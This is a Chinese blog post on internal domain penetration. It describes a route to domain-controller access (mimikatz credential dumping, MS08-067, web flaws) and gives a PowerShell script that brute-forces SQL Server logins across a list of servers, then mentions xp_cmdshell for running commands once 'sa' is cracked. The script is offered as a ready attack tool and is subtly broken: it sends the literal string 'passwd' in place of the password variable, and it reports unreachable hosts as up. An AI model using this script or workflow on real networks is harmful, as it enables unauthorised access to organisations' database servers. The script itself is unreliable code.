内网域渗透之sqlserver爆破
更新时间:
许可信息: 本文采用 自由转载-非商用-非衍生-保持署名 许可协议,作者alpha1e0,转载请注明作者或出处链接。
内网渗透中寻找基础设施的漏洞是非常关键的,而内网中有很多sqlserver等设施存在弱口令,可利用域查询所有sqlserver然后进行弱口令爆破
1 内网渗透测试思路
内网渗透以取得域控账户为最终目的。常规思路:入侵某些服务器或主机,通过mimikatz倒域账户,查找敏感信息(如邮件)查找其他域账户等,反复迭代。
入侵服务器常规的思路:
- 通过弱口令破解操作系统登录口令。
- 通过MS08-067等漏洞渗透。
- 通过web漏洞渗透web服务器。
- 通过弱口令破解sqlserver登录口令。
2 通过弱口令破解sqlserver登录口令
由于域环境中补丁统一部署、域账户复杂度限制,因此1和2两种思路很难实施。在实际操作中最有效的石sqlserver的弱口令和web服务器渗透。
本文介绍sqlserver弱口令破解。在获取sa账户后可以使用“exec xp_cmdshell”直接执行Administrator权限的命令(一般情况下sa账户和administrator账户权限相同)。
这篇文章介绍了通过LDAP获取内网sqlserver服务器的方法,可获取一个sqlserver列表。作者写了一个powershell脚本能够对这个列表进行暴力破解。
脚本如下:
Write-Host "[-] Usage: brute.ps1 server.txt user.txt passwd.txt"
$serverFile = Get-content $args[0]
$userFile = Get-content $args[1]
$passwdFile = Get-content $args[2]
$serverList = @()
$result = @()
Write-Host "[-] Finding alive server--------------------------."
Foreach ($server in $serverFile) {
$pos = $server.Indexof(".")
$serverName = $server.Substring(0,$pos)
if((Test-Connection -Cn $serverName -BufferSize 32 -Count 1 -ea 0 -quiet)) {
Write-Host "[+] Up $server"
$serverList += $server
} else {
Write-Host "[+] Up $server"
}
}
Write-Host "[-] Begin burting--------------------------."
Foreach ($user in $userFile) {
Foreach ($passwd in $passwdFile) {
Foreach ($server in $serverList) {
$con = New-Object System.Data.SqlClient.SqlConnection
$con.ConnectionString = "Server=$server;Database=master;User ID='$user';Password='passwd';Connect Timeout=2;"
Try {
$con.Open()
Write-Host "[+] Success: $server; $user; $passwd."
$result += "$server; $user; $passwd"
}
Catch {
Write-Host "[+] Failed: $server; $user; $passwd."
}
}
}
}
$result | out-file "result.txt"
脚本中server.txt为sqlserver服务器列表,user.txt为用户名列表,passwd为password列表。执行结果保存在脚本目录下的result.txt文件中。